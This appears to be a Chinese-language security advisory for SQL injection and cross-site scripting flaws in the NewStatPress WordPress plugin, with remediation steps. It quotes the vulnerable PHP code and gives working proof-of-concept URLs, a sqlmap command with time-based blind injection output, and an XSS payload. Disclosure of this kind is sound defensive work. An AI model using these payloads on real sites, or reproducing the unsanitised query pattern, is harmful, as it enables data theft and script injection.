主题地址:https://wordpress.org/plugins/newstatpress/
影响版本:0.9.8
Active installs: 20,000+
CVE: CVE-2015-4062, CVE-2015-4063
* CODE:
includes/nsp_search.php:94
for($i=1;$i<=3;$i++) {
if(($_GET["what$i"] != '') && ($_GET["where$i"] != '')) {
$where.=" AND ".$_GET["where$i"]." LIKE '%".$_GET["what$i"]."%'";
}
}
POC:
http://[domain]/wp-admin/admin.php?where1=agent[SQLi]&limitquery=1&searchsubmit=Buscar&page=nsp_search
SQLMAP:
./sqlmap.py --cookie="[cookie]" --dbms mysql -u "http://[domain]/wp-admin/admin.php?where1=agent&limitquery=1&searchsubmit=Buscar&page=nsp_search" -p where1
[............]
GET parameter 'where1' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 89 HTTP(s) requests:
Parameter: where1 (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: where1=agent AND (SELECT * FROM (SELECT(SLEEP(5)))Guji)&limitquery=1&searchsubmit=Buscar&page=nsp_search
[12:25:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.39
back-end DBMS: MySQL 5.0.12
includes/nsp_search.php:128
for($i=1;$i<=3;$i++) {
if($_GET["where$i"] != '') { print "<th scope='col'>".ucfirst($_GET["where$i"])."</th>"; }
}
POC:
http://[domain]/wp-admin/admin.php?where1=<script>alert(String.fromCharCode(88,+83,+83))</script>&searchsubmit=Buscar&page=nsp_search
1. 停用该插件
2. 自行修改代码, 对 where1 参数进行 stripslashes 和 html实体编码
更新 WordPress 插件 NewStatPress
暂无防护方案
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
暂无评论